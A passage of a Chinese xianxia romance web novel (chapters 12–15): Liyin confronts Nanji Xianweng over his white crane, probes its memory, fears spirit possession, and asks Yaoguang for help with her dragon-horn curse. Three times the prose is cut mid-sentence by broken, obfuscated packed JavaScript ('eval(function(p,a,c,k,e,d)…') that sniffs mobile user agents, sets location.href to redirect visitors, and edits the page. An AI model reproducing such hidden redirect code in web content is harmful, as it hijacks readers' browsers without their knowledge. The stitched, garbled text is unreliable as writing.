南极仙翁虽自己对这白鹤口称“畜生”,但真听得“畜生”二字从旁人口中喊出,却不禁微生愠怒,他素知这位摇光星君是个不好相与的,此时爱宠落入他手,焉能有什么好果子吃? 当下便不甚客气地开口道:“摇光星君雷霆手段,便是斩妖除魔还不够时,也不必要往这一只小畜生身上使。” 这话说得阴阳怪气,璃音因知晓摇光前世结局,听来就更觉刺耳,便去他手中取下那盏玉虚琉璃灯,笑道:“原来只要当个小畜生,就可以把醉酒闹事当作风雅,偷盗伤人亦不可获罪,如此随心所欲,竟是比我等恪守天规的神仙还要自在,我看下界那些凡人苦求逍遥,也不必再辛苦修那劳什子的仙,直接都去当小畜生不就好啦!” 此言一出,群仙皆是一愣。 他们素来只知那摇光神君是个不好相与的,却没想到在这昆仑山上,竟还有个更不好相与的小女娃。 便是商月也呆呆地怔住了。 只有摇光,看她笑眯眯地吐出如此毒舌的一番言语,不禁唇角微弯,泄出一点笑意。 13. 第12章 探不出的记忆 璃音这一番小畜生长、小畜生短的讥刺,直把南极仙翁刺得长须乱抖,嘴巴开了又合,闭了又张,半晌,才终于找到她话里一丝漏洞,忙睁圆了双目斥道:“我这孽畜醉酒闹事是有,然则什么偷盗伤人,却是你这小女娃儿乱讲。” “难道这灯不是从元始天尊玉虚宫中盗来的?”璃音高高提起手中那盏玉虚琉璃灯,面沉如霜,缓步去到老仙翁面前,“这灯内含有琉璃净火,若打翻在此,或是落了一点火星子在谁头上,是何下场,您难道不知?” 琉璃净火不烧凡尘俗物,却专炼神仙体内仙元,在场无论哪位被这火星子溅上一下,都要经受七七四十九日烈火灼心之痛,轻则修为大减,狠狠蜕一层皮,重则仙元尽毁,只好被打回下界,重修道心。 南极仙翁耳听着璃音连抛两问,每一问都甚是凌厉,他自知琉璃净火的厉害,便只抓住眼下的结果来做文章:“这孽畜便把昆仑山上的东西又叼在昆仑山上放着,何以算得上是偷盗?琉璃净火固然凶险,却也未曾真的伤了哪位仙子神君,何以也要添作一桩大罪?” 璃音以掌作刀,就去白鹤头上一劈,惊得老仙翁忙忙地伸手挡架,却不想她掌上并未发力,只是一招虚晃,便卸了掌去,老仙翁跟着悻悻然收手,就听得她在耳边似笑非笑地冷声道:“你去杀人,刀砍下一半时被人拦住了,难道就清清白白,一点罪过都不用追究了?” 这小女娃儿方才的假笑虽冷,却好歹沾了几分少女的娇俏天真,此时她卸下刻意,那叫人微感清凉的假笑已然变作了碎玉寒冰似的冷笑,她白玉一般的面皮上便如白玉一般的冷硬。若说摇光星君的脸色是臭,是明摆着闹脾气、耍性子,这位小女娃儿的神情却是冷,是令人一看就觉得她一定暗藏了一副无情又冷硬的心肠。 仙翁眼见这事越扯越大,不免真有些急了:“这孽畜不过贪杯发个酒疯,我便替它赔了这个不是,小仙子何苦非要扯到什么砍刀杀人。” 璃音手中提着那盏玉虚琉璃灯,灯中万年不灭的琉璃净火自下而上映着她双颊,便似火照寒冰,却化不开一点儿雾气,只衬得那冰更冷,她双唇微启,说出石破天惊的一句:“你怎知它是真发酒疯,却不是借疯杀人?” 前世璃音只当这白鹤真个是醉得狠了,便胡乱发起了酒疯,而这次她却瞧得清楚,那鹤叼着大灯飞来时,竟是一瞬也不瞬地紧盯着自己,它黄褐色的瞳孔里怨毒寒光闪动,竟让璃音心里涌上一种诡异的熟悉感,眼见那白鹤目光有如支支冷箭,不断朝她激射而来,哪里有半分胡闹醉意,分明就是万分清醒地冲她来的! 璃音因着凡间一桩前尘往事,一向怕火,如今想来,恐怕玉虚琉璃灯也并非是这白鹤随口叼来,却像是知悉她心中恐惧,故意为之,特地要把这琉璃净火泼来她身上的。 不似那摇光星君素有恶名,未曾入魔前的璃音从地上到天上,自认向来规言矩步、循分守理,从不主动与旁人招惹是非,留下的全是圣女美名,却不知在哪里得罪了这位仙翁灵宠,竟对她怨恨至此。 只她历经两世,故看得真切,席中诸仙却不明就里,听她言语,皆是一片哗然,南极仙翁更是被气得龙头拐杖不住敲地,讲话都讲出了颤音:“这白鹤与我寒潭相伴数千年,每日里净心养性,束身修行,得道的日子怕是比你这小女娃儿还早,如今不过多饮了几杯酒,竟连借疯杀人这样的罪名都编出来了,你你你——” 他吐字急促,白须乱颤,说到后面,这位总是在人间画像里慈眉善目的老寿星,已是差点一口气喘不上来,就要撅了过去,璃音伸手去将他扶了一把,不咸不淡地道:“我只听过皇帝不急太监急,倒是头一次见反过来的,我说那白鹤装疯杀人,又没说你,你怎的比那畜生还急。” 说着向那白鹤一指:“你看它心态多好,还在偷吃我袖子里的小麻糕呢。” 原来那白鹤虽被掐住了脖颈,却迟迟不见对方动手,渐渐也就放宽了心。璃音因提着那盏玉虚琉璃灯,便一直抬举着胳膊,那白鹤嘴巴既长,鼻子又灵,长喙稍稍向前一探,就探去了璃音袖中,啄起那块藏在里面的小麻糕来。 “孽畜,孽畜!可知因你贪嘴,惹了多少麻烦!”仙翁此刻又觉丢脸,又是恼怒,不禁抡起那龙头拐,就要打那白鹤。 璃音忙拦手将那拐杖架开,说道:“我并非要将它如何,只求把一件事情弄个明白,仙翁若不介意,可否容我一探它的识海。” 想到那白鹤毕竟是西王母交给了摇光星君处置的,便又回头询问:“神君意下如何。” 摇光恭谨应声:“全凭老师处置。” 南极仙翁见了摇光这副低眉顺眼好说话的模样,简直像见了鬼,他这一日受惊连连,使力撑拐稳了稳身子,才向璃音道:“这却无妨,仙子请便。” 他知昆仑灵巫精通魂术,醉酒耍闹,借疯行凶,其中真假虚实,只消去那白鹤识海中一探便知,小女娃儿提出这要求也算合理,他又笃定爱宠绝无歹念,对探魂一事自然便无有异议。 “多谢仙翁肯允。” 璃音右手指尖微动,兰花印便反叩上了白鹤那溜圆的头顶。 她凝神闭目,五指青光闪动间,已探得白鹤方才偷饮仙翁花酿,也探出它鬼祟偷食自己袖中糕点,却唯独缺少了醉酒衔灯、蓄意行凶那一段,中间这块记忆仿佛被人在识海里一铁锹铲走了似的,竟是什么也探不出来。 璃音并不死心,左手捏诀,去右手腕间接连催动“玄”、“黄”二字铃铛,一时间只听得铮铮急响,两只铃铛玄金之光大盛,黄铃可召黄道加身,使魂术破甲之力大增,玄铃则可破一切障眼法,照得幻象无踪。 不过片刻,璃音便将这白鹤千年来在寒潭偷吃了几尾灵鱼都探了个清楚明白,只它瑶池醉酒、宴上闹事那一段,却始终是一片空白。 璃音已知再探也是无果,虽满腹疑窦,也只得先收了术法。 见她蹙眉睁眼,南极仙翁忙急切问道:“如何?” 璃音摇头:“想是我修为尚浅,竟探不出来。” 仙翁没料到这小女娃儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13298085|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番动作猛如虎,最后竟是连一个灵宠的识海都探不出来,法力忒也低微,现下她读魂不得,却不知打算如何收场,踌躇一阵,开口道:“如今这般,仙子却待如何?” 璃音凝目去看此时的白鹤,见它瞳孔清亮,眼神明澈,全无先前那股子阴狠怨毒,仿佛之前的一切都只是自己的一场错觉。 要么真是她看花了眼,错怪了它,要么就是这白鹤委实不得了,身怀异法,竟深不可测。但无论是哪种真相,都只能日后再设法细细查探,眼下却没什么法子了。 于是她示意摇光松手,放了那白鹤:“仙翁,你带它走罢。” 说完这句,璃音便觉后脑好似挨了一记闷棍,脑中嗡的一响,眼前一黑,就再没了意识。 * 是夜,碧梧苍翠,月霁风清,昆仑山腰,苍梧林中,风吹动树叶沙沙作响,商月捏紧手中一支玉钗,有些紧张地在两棵梧桐树间来回踱步。 今晚他有一件大事要做。 他要向自己心爱的姑娘告白。 只是他左等右等,那姑娘只是不到。 他踱去左边那棵树下:“是我当时说得太急了,没把地点讲清楚么?” 又走来右边这棵树边:“不,不,是我声音压得太低了,她恐怕没听见。” 正患得患失间,忽听得树后一阵摇铃叮当、玉击铮然,他忙回身望去,果见林间走来一位身着青玉流纱裙的小仙子,但见她肤色瓷白,眼眸晶亮,那盈盈的月光照在她身上,照得她便似玉做的人儿一般,啊,商月忽然自笑,他竟差点忘了,她本就是玉做的人儿呢。 他忙迎了上前,见她终于穿上了这身衣裙,不禁欢喜道:“瑶池宴上看你没穿,还以为你不喜欢呢。” “这么用心的礼物,我怎会不喜欢,谢谢你,商月。”那小仙子清清淡淡地一笑,便如白玉微温,却熨得他心头一烫。 “我还有一件礼物想要给你。”他深深吸气,终于拿出手中那支白玉虎头钗,便像给玉帝递送奏折一般,将那钗子呈送去了那小仙子面前,“阿横,我同你说过的,这个……这个是我母亲留给我,要我送给……送给……” 那小仙子一呆,随后双颊慢慢爬上一抹红:“你不是说,这钗子是要在大婚之日,亲手簪去新娘头上的,你在这月黑风高的树林子里面给我做什么。” 这下轮到商月一呆,但细想确实是自己思虑不周,直接就拿出了这钗子,岂不等同于还未告白,却先求娶了。 “是我唐突了。” 他收起玉钗,看小仙子脸上虽有嗔怪,却无愠色,便乘着月色华光,鼓起勇气,试着去牵她的手。 小仙子没有闪躲,也没有说话,他心间似有一只小鹿乱跳,便就这样与她牵着手,在一片如洗的月光下,无言却温情地散起步来。 两人就这么静默地走了一阵,他正要把那句在嘴边徘徊了一晚的“喜欢”说出口,就见那仙子猛地停步,满脸疑惑地扭头向他望来:“我就晕了这么一会儿,你俩就又牵上了?!” 14. 第13章 璃音甫一清醒,就见月色澄碧,斜斜地洒落下来,把脚边树影拉得老长,那些影子又再被晚风一摇,就绰约地晃动起来,晃出暧昧的沙沙声响,撩动着人心。 不怪古人谈情说爱时偏爱往小树林里钻,端的是月摇花树,心摇神迷,风不醉人人自醉。 璃音就在这片“不红着脸讲几句温存言语都说不过去”的气氛中醒来了,手上还牵着一只……她扭头一看,嗯,果然是那张熟悉的脸,也果然是那只熟悉的手。 好你个小天真!明知这一牵手就要祸害他一世,竟还不晓得躲远些。 她不由得眉尖一蹙,脱口而出:“我就晕了这么一会儿,你俩就又牵上了?!” 她只当自己尚在灵台之中,待听得这话真真切切从喉咙里冒出了声,才醒悟过来,自己的神识已顶替了小天真,正掌控着这幅躯壳。 “阿横,你在说什么?” 见商月一脸云里雾里,璃音眼珠疾转,忽地在前面瞧见两只三腿仙蟾,立时从他掌中抽出手来,去往前面一指:“啊,我是说月色晕人,不过才一会儿,前面那两只癞蛤蟆就叠在一起牵上手……呃……牵上腿了。” 那两只仙蟾不仅牵上了腿,就在商月向它们望了去时,忽地咕呱两声,便跟着地上大团树影一起摇摆晃动起来。 添了观众还让你们更兴奋了是吧…… 璃音干咳两声,掩过尴尬,又十分僵硬做作地打了个哈欠,说道:“这一天赴宴下来好累,都有些困了,咱们回去吧。” 商月脸色阵红阵白地不断变换,欲言又止地盯紧了她面庞。 “我快要死了。”却是灵台中的小天真忽然开了口。 璃音一怔,在灵台中问:“什么意思?” “难道你没发现,你我都越来越虚弱了,稍稍动用法术就要晕倒,我猜想是一个身体里终究待不住两个神识,你我虽为一人,却也与夺舍无异,这样交替抢夺只会不断损耗你我二人神识,直至一方消散。” “夺舍……”璃音在心中喃喃地想着。 只听小天真又道:“你修为比我精进,后面诸多要紧大事,还须由你去办才最稳妥,我已打算自散灵魄,方才应该是我最后一次出来了。” 因想着是最后一次走在这月华林间,所以才穿上了漂亮的新裙子,所以才去与心中颇有好感的俊俏仙君牵了手。 璃音垂下眼睫,不由地低声道:“抱歉。” 抱歉打搅了你与这世间最后的告别。 商月那红白交替了好一阵的脸色,闻言终于停在了一片惨白,只当自己的一片心意还未及出口,就已遭到了心上人无情的拒绝。 他捏紧手中玉钗,直戳得掌心刺痛,滴出血水:“阿横,你当真有块捂不热的石头心肠。” 丢下这一句,转身便走。 璃音望着他身披莹白月光的落寞背影,怔怔地出了一会儿神,突然向小天真问道:“你喜欢他吗?” 小天真道:“他长得好,品行好,对我也好,根本没有道理讨厌吧。” “我问你喜不喜欢,你却说你不讨厌。”此时商月的身影已然走远,只剩下璃音一个人站在这有些泛凉的林子里,“若不是喜欢,方才又为什么要去牵他的手呢?” 小天真想了想,道:“我本只是想在昆仑各处随意走走,却不想在林中遇见了他,也不知为什么,好像只要是他的请求,我总是很难拒绝,又想着这也许是与他的最后一面,所以他把手牵过来时,我便也就这么牵着了。” 璃音笑道:“是,他总是对我们很好,好到让我觉得,如果不回报他一些什么的话,就该下地狱了。” 小天真道:“这算是喜欢吗?” 璃音抬头,让白白的月光沉入自己眼底:“他数次舍身为我,我自也该舍身为他,这应该就是喜欢吧?只是我终究配不上他这样的好人。” 凉风仍旧摇着树影,蟾蜍咕呱之声不绝,小天真却再没有回应了。 璃音敛眸:“再见了,小天真。” 回应她的只剩下灵台明净,阒然无声。 * 回到还音殿,璃音换下身上这件青玉留仙裙,去后院刨了个土坑,将裙子埋了,坑头插一块木头牌子,又找来一把小刀,往上面刻下四个大字: 旧辞不复。 刻完字,璃音就坐在土堆前,抱着木牌,开始逐字推敲起小天真有关“夺舍”的那一番话来。 “我猜想是一个身体里终究待不住两个神识,你我虽为一人,却也与夺舍无异,这样交替抢夺只会不断损耗你我二人神识,直至一方消散。” 她反复默念这一段,忽地脑中白光一闪:“我昏睡在灵台中时,对自己所言所行全无记忆,便是旁人此时来探我的识海,也决计探不出今日小天真的一行一动。” 而这些正是被短暂夺舍的症象。 璃音不由得想起瑶池宴上那只识海残缺的白鹤,或许它当时正是被什么东西夺了舍呢? 忽然,一个从未有过的大胆猜想闯入了她脑海:“莫不是恶灵夺舍!” 前世那场暴乱来得突然,恶灵一夜之间就遍布昆仑,没人知道它们是怎么上的山,也没人知道它们是如何绕过所有的守御阵法,一路熟门熟路,血杀无阻。 但若是有先锋早早混入昆仑,仔细勘探过了每处地形守备,这便说得通了。 而平日里要混进昆仑山上颇为不易,要进行鬼祟探查更是不易,最方便它们行事的时机,便是今日那场三百年一度、群仙瑶台齐聚、各宫各殿皆空、乐子乱子频出的昆仑盛事——瑶池宴。 璃音越想越心惊,若果真如此,那么前世那场旷世之乱,便不再是什么“地脉涌动,恶灵暴走”的意外,而是一场筹算多时,周密谋划,处心积虑来针对昆仑群仙的谋杀。 眼前不由得浮现出白鹤飞向她时那怨恨的目光,它便是鬼王派来的先锋么?那鬼王究竟是什么来头,又与昆仑有何仇怨,竟恨到要杀光一整座昆仑仙山。 但无论那鬼王是谁,他此时都已在暗自运筹,以谋攻山了。 想到此处,忽然额上传来一阵钻肉似的刺痛,这痛璃音再熟悉不过,只没想到这一世竟发作得这样早,定是她前世心魔未消,叫玉横的反噬提前一年开始了。 她跌撞着起身,手捂上额头,摸出两只破肉而出的小尖角。 “二月二,龙抬头。” 她低喃着抬头观星,果见龙角星上升,又见侧旁一个亮闪闪的勺儿,正是北斗七星闪耀,此刻便如看见了救星一般:“对,对,破军……我需要破军!” 说着提足便奔,径向紫宫奔去,她这时一心只恐那邪龙破体而出,这一夜定要那摇光神君提着破军在旁,才好安心,至于具体该如何让他作陪,仓惶间却根本不及多想。 直到此刻她站在了摇光殿门口,才捂着脑袋,苦思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽说神仙不睡觉也能活,她就几乎三百年没睡过觉了,但夜来无事,也无甚玩闹可做,尤其是那些在天宫领了职,白日里还要列班上朝的,回去便只想闷头大睡一场了。 摇光虽黑着脸,语气却算柔和:“我向来是值夜的。” 啊,他乃是北斗第七星君,自然是值夜的,自己却是问了句大大的蠢话。 只听得他又问回之前那个问题:“老师却因何在此?” 璃音仰头沉思,只见当空一轮圆月,皎皎如镜,当即灵机一动,说道:“听闻你这里是个赏月的好去处,我便来了此间一赏,果然有些妙处,从此处望去,看得那月如银盘,怪道月宫里的仙子个个俊美非凡呢。” “老师照临,学生不敢怠慢,只今夜这月却无甚稀奇,不若暂且将这一赏欠下,待得中秋再续,届时学生自当敬茗相迎,陪老师同观。”摇光仍旧黑着脸,只这次却连语气也有些凉嗖嗖的了。 璃音知他心情不佳,这番话已是在下逐客令了,但要她今晚离开这株救命的月桂,却是万万不能的,只得把眼一闭,厚着脸皮道:“我倒看今夜月色甚好,不若就在此间浴着月光睡上一觉,岂不美哉。” 忽觉腰间一沉,竟已是被人揽了腰去,带下了树枝。 她一惊之下急睁双眼,便见一张放大的俊脸近在呼吸之间,这一眼瞧得她心神一荡,心道自己果然一刻也离不得那树,于是只等那人一松手,就又抱去了那树干上,口里只道:“我自在这里睡觉,不说梦话不梦游,绝不碍着你值夜。” 那人也只黑着脸又来拉她胳膊:“老师若要乘月而睡,院中摇椅秋千,哪个不比在树上舒服?” 璃音死死抱住树干,不明白他为何如此执着地要她离开这棵树,只觉臂上力道渐重,她一急之下不由得将实话喊了出来:“反正我今夜绝不能离开这树!除非你来陪我睡!” 15. 第14章 拜师礼 紫宫深处,幽静小院一隅,满树月桂迷香,一天星斗烁亮。 璃音正抱树仰头,明晃晃亮着额上两只嫩生生的龙角,戳在摇光眼皮子底下。 自她坦白了自己夜闯小院、又攀枝挂树,皆是为着这每逢二月二就要冒龙角的邪症,就见这位神君沉吟半晌,神色难辨地说了一句“给我看看”,便就与她这么一个仰脖,一个俯面,沉默地对望了起来。 此时的璃音便如那久染怪症、胡乱投医的病患,听了“给我看看”这四个字,就直把神君当神医,期待他一番望闻问切下来,便真能开个方子,治了她体内这股邪龙之火。 然而这位神医却似乎卡在了“望”这一步,要知道病人去找郎中看病,最怕的便是那郎中一言不发,还一脸神色不明。 璃音轻扭了下有些发酸的脖子,心中怀着那已破灭了九分、但毕竟还剩一分的期冀,颇有惴惴地问道:“神君见多识广,你看这症候可有法子治得?” 正问着紧要处,忽听得树梢上一个声音道:“有法子治得!有法子治得!”嘲哳诡异,怪腔怪调。 但怪病正合怪人治,莫非这茂叶森森间竟还藏了位医仙高人?璃音只觉心间那一簇希望的小火苗越烧越旺,循声看去,却不禁大失所望,原来就在适才她躺过的那根树杈子上,不知何时站了一只鹦鹉,正在学舌乱叫。 那鹦鹉脖子以下通体青灰,只羽冠金黄,眼如黑豆,嫩黄双颊上晕着两坨圆圆的腮红,短而带钩的小嘴一张,便全是断章取义的胡言乱语:“有法子治得!除非你陪我睡!有法子治得!你陪我睡!” 璃音:“……” 摇光抬起一只手垫去她脖颈下面,轻轻将她脑袋扶回正位:“所以老师来此并非是为赏月,而是为魇镇体内龙火。” 答非所问,却面色稍缓,似也被那小鹦鹉逗弄出了几分忍俊不禁。 璃音抱着树点点头,见他不答反问,想他也并无除龙之法,心中最后那一簇微弱摇曳的希望之小火苗,也终于如同被冷风一浇,啪地熄灭了,她便又有些失落地摇摇头:“这龙火蹊跷,我至今不知它从何而来,许是玉横从前吞吃过哪位邪龙的生魂,我又在修炼时贪图冒进,催生心魔,心魔再勾动邪龙魂火,以我之力终究不能将其净化完全,终要自食恶果、受其反噬了。” 那鹦鹉短钩般的小嘴一刻不得闲,得了新鲜话料,立时一裁一缝,便更新了自己学舌的话术:“勾动邪火!你陪我睡!勾动邪火!你陪我睡!” 喀的一声,璃音的手指甲在树皮上挠出一道裂响。“你陪我睡”这四个字是焊死在它脑子里了吗?她见摇光对那聒噪小鸟充耳不闻,不禁佩服起他忍受尴尬的定力来,只见他默然盯了会儿她那对龙角,忽然开口道:“这角我看着却有几分眼熟。” 一句话如火石相击,璃音心头那簇刚灭下的小火苗又腾地燃起:“神君知晓它的来历?” “小七,小七,终会相见,终会相见。”却是那鹦鹉又不知从何处衔来几句破碎词藻,在一旁除了聒噪以外全无用处地插嘴叫唤。 摇光在听到“小七”这个称呼时似有微怔,璃音见状不免也跟着一怔,不想自己竟小瞧了那鹦鹉,她只当它是在凑字胡喊,没想到竟真有点东西,谁知摇光一怔之后,却只是摇头:“只是眼熟,究竟在何处见过,却记不得了。” 说完又脸作深沉,十分酷似一些经验老道、却不轻易传授的江湖神医,接了一句:“若果真是邪魂反噬,一味压制只怕反叫魂体两伤,或许发出来就好了。” 璃音闻言一呆:这玩意是能随便发的吗?那发不好可是要死人的。 那鹦鹉又忽然在一旁见缝插针,横着脑袋大叫:“别怕!我来陪你!你陪我睡!别怕!我来陪你!你陪我睡!” 璃音:“……” 她第一眼见这鹦鹉就觉得有种莫名的不对付,而且怎么越看越像在虞家村时,那只明而惶之去她头上泄粪的小东西,她素来喜静,能忍百年清寂,却难忍三句聒噪,此时终于忍无可忍:“这叫个没停的小东西到底是谁家的?” 摇光倒似乎觉得它颇为可爱,神色语气间甚是亲近:“我也不知,突然有一天,它就飞来我殿中住下了,我有时就丢些果仁和种子给它吃,也快有九百年了吧。” 住你殿里,还喂吃喂喝九百年,那这小东西不就是你家的吗?好啊,原来是你养的鸟要来我头上遗粪。 璃音因嫌弃那鸟儿,连带着便觉得被那鸟抓枝立着的月桂树也没那么香了,撒开抱树的手,扭头正色道:“神君,我有一个请求,还请您务必相允。” “老师有事不必相求,直说便是。” “若有一天,我果真被邪魂侵噬,再无理智尚存,还请神君念在我们此刻相识的缘分一场……”被破军三次穿心时的剧痛似乎又回来了,如有天火焚心,灼得璃音心尖淌血般滚烫,她垂眸片刻,随即抬眼,目光直直望进摇光眼底,“望神君即令破军,将我斩杀。” 摇光眸光微闪,发丝与发带一齐轻轻扬在晚风之中,他沉默片刻,说道:“好,若真到那时,学生必不负所托。” 他是最重苍生大义、能为之赴死的神君,璃音早知她这样的请求,他是断然不会拒绝的,但此刻得他亲口允诺,还是难得十足开心地展颜笑道:“多谢神君,那我就再没什么后顾之忧啦。” “啊,对了!”璃音忽然想起什么,一把从腰间拽出玉横,“你将我斩杀后,一定要即时将这个葫芦也斩断,或者把它拿得离我尸体远远的,否则就成了白费力气,过不多久,我就又活啦。” 那鹦鹉听了,就又开始学舌乱叫:“白费力气!我又活啦!白费力气!我又活啦!小七,小七,我又活啦!除非你陪我睡!你陪我睡!” 璃音:“……你平时就不能教它点‘恭喜发财’之类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337902|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉祥话说吗?” 摇光笑道:“好,恭喜发财,我记下了。” 璃音有些不舍地望一眼树上那枝叫自己很是中意的树杈子,但它此时已被那恶鸟霸占,今夜是决计不能再待的了,但没关系,她已有更好的选择:“神君,我今夜最好还是与你待在一处,你若不介意,我陪你值夜吧。” 想了想,又说:“其实我们还是时刻都不要分开的好,反正我也不爱睡觉,不如以后,我都来陪你值夜吧。” 她确实一直很少睡觉,每晚都是偷偷关在殿里修习,那时她常幻想这样一副景象:自己夜夜勤学,以龟赶兔,在下一届巫师大考时一鸣惊人,引得众小巫喝彩围观,然后她就摆摆手,留下一句“哎呀,我也没怎么学习”,嘴角含笑,翩然离去。 想法虽然好笑,也不过就像是一根吊在磨驴前的胡萝卜,时刻拿来激励一下自己勤勉修习罢了。 但一年后,恶灵作乱,十位神巫陨落,已根本无人再去操持举办什么巫师大考,她不久后便也身陷月牢,自然也是没可能去参加的了。 但即便在月牢之中,眼前的胡萝卜早已碎成了泡影,她还是忍不住要去琢磨那些阵法符文,只觉其中灵动变换,意趣万方,若哪日小有所得,便更觉畅快无伦,大概就像有些人爱读书也并非全为了考取功名,只是真心爱读而已,一天不读就浑身难受。 只是她已再也法无入眠了,每每入睡,就会有那些死在她引魂铃下的冤魂入得梦来,流着血泪,问她为什么要把他们杀了,将她惊醒,渐渐地,她就习惯累了时躺去那棵月桂树上,阖着双眼熬一熬,把那阵累熬过去了。 只听摇光说道:“老师相陪,自是学生之幸,只是值夜无聊,老师若想找个安全之境打发时间,不若去学生这副万壑千山图中一观。” 说着便从袖中摸出一轴画卷,手执一端轴杆,一抛一扬,那画卷便就金光一闪,徐徐凌空,自展了开来。 画中所绘,有千山连绵,奇峰竞秀,万壑奔腾,竟尔争流,天上日月星辰尽数攘括,天下屋宇广厦皆在其中。而这画真正所奇之处,却不在这份瑰阔壮丽,而是看画人若只凝神观于一处,这处光景便好似被拉来了眼前一般,原本不过山顶一点写意墨迹,转瞬间竟就化作了一户人家,篱笆院落井然,桌椅床榻俱全,若再凝神细看,便连桌角爬行的一只小蚁,也头脚清晰,然而只消眨一眨眼,这一切便又只是山顶一个墨点,眼前依旧是那副浩荡天地、宏阔山水了,真是好一副万壑千山图! “今日宴前仓促拜师,未能行什么仪式,这便当是学生补献上的拜师礼吧。” 然而方才他说的是“去这副万壑千山图中一观”,而不是“一观这副万壑千山图”,璃音便知这画中定然还另藏玄妙,不禁好奇之心大起,问道:“却是如何一观?” 言毕,只觉后背被人轻轻一拍,便将她拍去了那副千山万壑之中。 16. 第15章 下山 璃音本满心期待着与那万壑千山一会,但定住身子一看,却见眼前月桂送香,枝头鹦鹉乱啼,再回头望望,又见摇光仍负手立在她身后,长身凛凛,剑眉飒飒,他方才那一拍竟似错觉,自己此刻仍是身在原地。 见她困惑回首,摇光轻轻点拨一句:“这画中藏有无尽天地,天宫紫府自然也在其中。” 璃音立时领悟,原来他们此时已在画中了,她把头一歪,兴奋起来:“那我的还音殿也在吗?” 千山万壑固有些颖异奇趣,但其实比起游山玩水,她总是更爱宅在自己熟悉的小窝里,翻翻书,练练功,或就找张躺椅摆去小院,天亮着就晒太阳,天黑了就数星星。西王母大约就是误把她这股子“懒劲儿”当成了定力,才把净化玉横、甚至是教化摇光星君这样的大任务都委派给了她。 摇光却似是早就料到她会有此一问,抬眉一笑,眸子里漾出潋滟星光:“你只管去看便是。” 璃音迫不及待要去瞧瞧这画中的还音殿,便就右手手腕轻晃,催亮腕间引魂铃中那一只“宙”字铃铛,银光闪动间,身随意动,四下景致立变,已是身处自己那方熟悉的小院中,便连她今夜新刨的土坑、新立的木碑都全然复刻,毫无二致。 她蹲身抚过木牌上“旧辞不复”四个小字,不由得暗暗称奇:“这画竟连我在此处刻下了这样四个字都能知晓。” 身边银光一闪,却是摇光也来了这间小院,他见了这小坟一般的土堆也不多问,只是说道:“千山万壑图定格入画时那一刻的河山天地,供入画之人赏玩,越是入画人熟悉之处,它便越能刻画详尽。” 原来如此。 璃音忽觉掌心一痒,却原来有一只小蚁一路沿着木牌攀爬,爬上了她手心,她正欲将其拂落,就听得摇光说道:“你可捏死它试试。” “好好的捏死它做什么?我不要。”璃音虽然对走路踩死蚂蚁这种事没什么负担,但刻意捏来一只弄死,她却没这样的癖好。 摇光却笑道:“无妨的。” 说着便伸出一指,轻轻去璃音手心里一碾,那蚂蚁挣扎也无,就被摁了个扁。 他挪开手指,又道:“老师请看。” 只见掌中小蚁霎时化作一股白烟,就不见了踪迹。 摇光又把手指向那木牌:“老师请再看。” 便在方才小蚁攀爬之处,又原地爬出一只一模一样的蚂蚁,沿着一模一样的路线,爬去了璃音手心。 “往后老师夜里无聊时,便可来这画中的还音殿里修炼,不必担心伤了旁人一分。” 听到此处,璃音猛地回头,这位神君竟似全然看穿了她的心思,他整个人立在那儿便似一柄无鞘长剑,一双桃花眼里不泛秋波却正翻涌着一汪星海,只听他又道:“观画之人一旦入画,非神志清醒不可出。” 璃音将手心小蚁拂回木牌之上,起身问道:“却要如何得出?” “待要出时,图中节气自改,画中人只需说出图中此时四时节历,既能说中,则神思清明,即可出画。”摇光一双眸光似电,向她望去,“这对老师而言,应非难事。” 璃音仰头一望,果见星象移位,便似刻意给她出着考题一般,但于她而言,观星辨历便如家常便饭,她只稍稍看得一眼,便脱口道:“斗指东南,维为立夏。” “立夏”出口,周身景物变换,土堆木牌全然不见,鼻尖月桂清香阵阵,身前一副画卷凌空而展,二人已然出画,又站在摇光殿前那间小院中了。 “我却没准备什么回礼。” 璃音收了画,心中欢喜,但她不是个能欠人情的,便也为难,一时想不出身边有什么好东西,能比得上这万壑千山图的,只得许诺他:“等我以后得了什么宝贝,也送神君一个好的。” 摇光却道:“瑶池宴上,老师不是已经送过了?” 瑶池宴上?她送过他什么了? 正迷茫间,却听得一声嘹亮鸡鸣,随即群鸟啾喳,东边泛起一抹鱼肚白,原来那一声正是天鸡报晓,天已开始亮了。 又听一声鸾鸟长鸣,由远而近,青鸾使者飞来院中,报信道:“璃音仙子,王母传令,人间皇帝将在今朝开坛祭天,祈神求雨,你已可动身速去,探实情由,以便早日点派雨神降雨。” 璃音打躬回礼:“有劳使者传报,我这便准备起身下山了。” 皇城大旱三月,这事前世也是有的,此事无需多查,后来雨神连着降雨三月,便就了结。她心中记挂的却另有一桩大事,便是那恶灵头子鬼王的行踪,正好趁此次下山,就好好把他寻上一寻。 忽觉掌心一热,璃音情知是请神令到了,抬手摊掌,一张黄符便就浮现在掌心之上,其上请神的人名地点俱全,正是从皇城祭坛烧来的。 青鸾挥一挥翅,已飞在半空,又道:“摇光神君,王母交代,你既已与璃音仙子结为一对,不妨同去。” 摇光笑道:“有劳使者,我知道了。” 青鸾再无别事,长翅一扇,留下脆啼一声,凌空而去。 